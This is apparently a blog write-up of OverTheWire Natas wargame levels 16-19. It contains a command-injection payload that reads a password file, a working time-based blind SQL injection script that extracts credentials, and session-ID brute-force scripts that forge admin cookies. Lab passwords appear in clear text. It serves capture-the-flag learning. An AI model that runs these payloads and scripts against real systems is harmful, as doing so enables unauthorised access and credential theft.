OTW Natas16-19

Natas16

Username: natas16
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
URL:      http://natas16.natas.labs.overthewire.org
Natas16 info
Natas16 index

This is looking a lot like Natas9 and Natas10...

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
Natas16 relevant source code

It's filtering on the backtick character now :(...

But they didn't remove the $(echo this is a subshell) syntax :)

It works!

Let's go through the same steps we used to solve Natas10: echo the password file to the /tmp/ directory, then cat it using Natas9

$(cat /etc/natas_webpass/natas17 > /tmp/nolook)

Catting the file from Natas9

It worked :)

Note: this is most definitely not the expected (or encouraged) solution, but it works, which is all that matters.


Natas17

Username: natas17
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
URL:      http://natas17.natas.labs.overthewire.org
Natas17 info
<?
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?> 
Natas17 source

So this is the same as Natas15, except with all of the messages commented out... To solve this we can still use our blind SQL solver from Natas15, but we have to modify the success condition. In this challenge we'll have to use the timing between messages...

Initial timing checks

This is the timing for checking the username "Natas18"
This is the timing for checking the username "Non existent"

At a glance, we can see that the timing for "Natas18" takes longer than "Non existent". This could change with my wireless network's load, and I'm going to have to look into timing attacks with SQL.

Blind SQL timing attacks

Blind SQL Injection | OWASP Foundation
Blind SQL Injection on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.
This is an extremely helpful resource

OWASP has a great page on blind SQL attacks, specifically this bit:

SUBSTRING(user_password,1,1) = CHAR(50) which will give a case sensitive password (would've been a little helpful for the last blind sql challenge.

BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) This code snippet will delay the sending of the resulting SQL query. Combined with an IF, we can run the BENCHMARK only when the result is true.

The example from OWASP is:

UNION SELECT IF(SUBSTRING(user_password, 1, 1) = CHAR(50), BENCHMARK(5000000, ENCODE('MSG', 'by 5 seconds')), null) FROM users WHERE user_id = 1;
If statement and benchmark mysql exmaple

Now I have to apply this to the Natas17 query

Natas17 Query

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
Injectable query

Using the following as the username input, we get the resulting query

// Input
" or IF(SUBSTR(username, 1, 1)=char(110), BENCHMARK(100000000, rand()),null);#

// Query
SELECT * from users where username="" or IF(SUBSTR(username, 1, 1)=char(110), BENCHMARK(100000000, rand()),null);#";
Final query

Timing

Seconds and milliseconds of comparing the first character to 'n'

Just checking for response times over a second should work nicely. I can enumerate the users, but I'm having issues with the passwords...

Capitalization issue again

Finally fixed it, the injected query is pretty long, but here's a video demo of the script working (it's beautiful).

0:00
/
Solve script video demo
It took 24 minutes

The whole script took 25 minutes and sent almost 5000 requests.

#!/usr/bin/env python

import requests


def advance_character(current_string_list):
    """
    Takes the current_string_list and increments the last character, will work on empty lists
    """
    if len(current_string_list) == 0:
        return ["/"], False

    # Working with the last character
    character = current_string_list[-1]

    # Acceptable characters are 0-9 A-Z a-z
    if character == 'z':
        # This case is when the last character has been reached
        # Print the string without the 'z' guess
        print("".join(current_string_list[:-1]) + " ", end='\r')
        # Return the current_string_list with done set to True
        return current_string_list, True
    elif character == 'Z':
        # Jump to next character -- no special characters in pass
        character = 'a'
    elif character == '9':
        # Jump to next character -- no special characters in pass
        character = 'A'
    else:
        # Increment the character
        character = chr(ord(character) + 1)

    # Store the updated character in the list
    current_string_list[-1] = character

    # Return the list with the done boolean
    return current_string_list, False


def get_case_sensitive_column(url, column, uname, pword, enumerate_username=""):
    """
    Takes the url for the request, the column name to enumerate, the
    HTTP basic authentication username, the HTTP basic authentication password
    and an optional username for enumerating password
    """

    # Case sensitive results
    cs_result = []
    # Current guess list
    current_list = []
    # Number of requests
    request_num = 0

    regressing = False

    # Loop until the enumeration is complete
    while 1:
        current_list, done = advance_character(current_list)
        if not done:
            # Print the current guess
            print("".join(current_list), end='\r')

        # Break if done and current_list only contains 1 character
        if done and len(current_list) > 1:
            if not regressing:
                cs_result.append("".join(current_list)[:-1])
                print("Added " + cs_result[-1] + " to results")

            # Only enumerate 1 password for a username
            if len(enumerate_username) > 0:
                break

            # New enumeration ['A', 'A', 'A'] to ['A', 'A', 'B']
            current_list, done = advance_character(current_list[:-1])
            regressing = True

            # Print the current list
            print("".join(current_list) + " ", end='\r')

            # Already on the last character
            if done:
                break
        elif done and len(current_list) <= 1:
            print("Done.")
            break

        # $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
        payload = 'IF(SUBSTR(' + column + ', ' + str(len(current_list)) + ', 1)=char(' + str(ord(current_list[-1])) + '), BENCHMARK(100000000, rand()),null)'

        # Prepend username to enumerate user's password
        if len(enumerate_username) > 0:
            payload = '" OR IF(username="' + enumerate_username + '" COLLATE latin1_general_cs AND LEFT(' + column + ', ' + str(len(current_list)) + ')="' + "".join(current_list) + '" COLLATE latin1_general_cs, BENCHMARK(100000000, rand()),null)'
        else:
            # Or enumerate by just the column name
            if len(current_list) > 1:
                payload = '" OR LEFT(' + column + ', ' + str(len(current_list[:-1])) + ')="' + "".join(current_list[:-1]) + '" COLLATE latin1_general_cs AND ' + payload
            else:
                payload = '" or ' + payload

        payload += ';#'

        # Send the payload to the url
        response = requests.post(url, auth=(uname, pword), data={'username': payload})
        request_num += 1

        # Check elapsed time to see if benchmark ran
        if response.elapsed.seconds > 0:
            # Append '/' because it will turn into the '0' character on append
            current_list.append('/')
            regressing = False

    # Return the results
    return cs_result, request_num


# Challenge information
url = "http://natas17.natas.labs.overthewire.org/index.php"
username = "natas17"
password = "8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"

total_requests = 0

print("Enumerating users...")
users, req_num = get_case_sensitive_column(url, "username", username, password)
total_requests += req_num

results = {}
for user in users:
    print("\nEnumerating " + user + "'s password...")
    # password will be a list, but it will only have 1 element
    password_res, req_num = get_case_sensitive_column(url, "password", username, password, enumerate_username=user)

    if len(password_res) >= 1:
        results[user] = password_res[0]
    else:
        results[user] = ""
    total_requests += req_num

print("Found the following username password values")
for key in results.keys():
    print("Username: " + key + " Password: " + results[key])

print("Total requests: " + str(total_requests))
natas17_solve.py

Natas18

Username: natas18
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
URL:      http://natas18.natas.labs.overthewire.org
Natas18 info
<?
$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
        if(!session_start()) {
            debug("Session start failed");
            return false;
        } else {
            debug("Session start ok");
            if(!array_key_exists("admin", $_SESSION)) {
                debug("Session was old: admin flag set");
                $_SESSION["admin"] = 0; // backwards compatible, secure
            }
            return true;
        }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
        print "You are an admin. The credentials for the next level are:<br>";
        print "<pre>Username: natas19\n";
        print "Password: <censored></pre>";
    } else {
        print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 
?>
Natas18 source

First PHP session challenge! It also has more code to look through, which means not all of it will be relevant.

The win condition is calling print_credentials() with $_SESSION["admin"] == 1

There is nothing here that takes the $_POST username or password. Just iterating through the ids: 1-640 doesn't get the password, which was my initial thought.

#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup

url = 'http://natas18.natas.labs.overthewire.org/index.php?debug=1'
username = "natas18"
password = "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"

i = 0
while 1:
    cookie = {"PHPSESSID": str(i)}
    print(str(i) + "     ", end='\r')
    response = requests.post(url, auth=(username, password), cookies=cookie)

    if "Username: natas19" in response.text:
        soup = BeautifulSoup(response.text, "html.parser")
        content = soup.find("div", {"id": "content"})
        if content is not None:
            content = content.decode_contents()
        print("{}\n{}".format(i, content))
        break

    i += 1
natas18_solve.py

My initial thought was right, I just forgot to submit the natas18 authentication info with my request...

Natas18 success

Natas19

Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
URL:      http://natas19.natas.labs.overthewire.org
Natas19 info
Natas19 index

No source code, but it uses the same code, just a different way of storing session IDs

I found the session being stored in the PHPSESSID session cookie

PHPSESSID cookie

Logging into the server as "username", then interpreting the bytes as hex gives us the following:

Username session

Logging into the server as "admin":

Admin session

One thing to note is that the number at the start changes each time, and I'm assuming it's the same as the session id from before.

#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup

url = 'http://natas19.natas.labs.overthewire.org/index.php?debug=1'
username = "natas19"
password = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"

i = 0
while 1:
    # Convert the i to the format i-username
    # Using the username "admin"
    cookie = {"PHPSESSID": (str(i) + "-admin").encode().hex()}
    print(str(i) + " ", end='\r')
    response = requests.post(url, auth=(username, password), cookies=cookie)

    if "Username: natas20" in response.text:
        soup = BeautifulSoup(response.text, "html.parser")
        content = soup.find("div", {"id": "content"})
        if content is not None:
            content = content.decode_contents()
        print("{}\n{}".format(i, content))
        break

    i += 1
natas19_solve.py

A little extra to the natas18_solve.py and viola!

Natas19 success

PHSC138
The World Wide Web